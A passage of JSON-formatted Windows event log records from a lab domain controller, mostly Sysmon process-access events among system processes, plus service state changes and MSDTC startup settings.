l+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.709\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010ABAB0400}\r\nTargetProcessId: 4120\r\nTargetImage: C:\\Windows\\System32\\msdtc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.709","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010ABAB0400}","TargetProcessId":"4120","TargetImage":"C:\\Windows\\System32\\msdtc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":4202,"SourceName":"Microsoft-Windows-MSDTC 2","ProviderGuid":"{5D9E0020-3761-4F36-90C8-38CE6511BD12}","Version":0,"Task":2,"OpcodeValue":0,"RecordNumber":12106,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"MSDTC started with the following settings:\r\r Security Configuration (OFF = 0 and ON = 1):\r Allow Remote Administrator = 0,\r Network Clients = 0,\r Transaction Manager Communication: \r Allow Inbound Transactions = 0,\r Allow Outbound Transactions = 0,\r Transaction Internet Protocol (TIP) = 0,\r Enable XA Transactions = 0,\r Enable SNA LU 6.2 Transactions = 1,\r MSDTC Communications Security = Mutual Authentication Required,\r Account = NT AUTHORITY\\NetworkService,\r Firewall Exclusion Detected = 0\r\r Transaction Bridge Installed = 0\r Filtering Duplicate Events = 1\r","Category":"TM","param1":"0","param2":"0","param3":"0","param4":"0","param5":"0","param6":"0","param7":"1","param8":"Mutual Authentication Required","param9":"NT AUTHORITY\\NetworkService","param10":"0","param11":"0","param12":"1","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":900,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12107,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"The Software Protection service is starting.\r\nParameters:","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76829,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The Connected Devices Platform Service service entered the stopped state.","param1":"Connected Devices Platform Service","param2":"stopped","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76830,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The DPS service entered the running state.","param1":"DPS","param2":"running","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76831,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The MapsBroker service entered the running state.","param1":"MapsBroker","param2":"running","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.802\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010ABAB0400}\r\nTargetProcessId: 4120\r\nTargetImage: C:\\Windows\\System32\\msdtc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.802","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010ABAB0400}","TargetProcessId":"4120","TargetImage":"C:\\Windows\\System32\\msdtc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.802\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-0010ABAB0400}\r\nTargetProcessId: 4120\r\nTargetImage: C:\\Windows\\System32\\msdtc.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.802","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010ABAB0400}","TargetProcessId":"4120","TargetImage":"C:\\Windows\\System32\\msdtc.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76832,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The Distributed Transaction Coordinator service entered the running state.","param1":"Distributed Transaction Coordinator","param2":"running","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.959\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.959","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.959\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.959","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.959\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 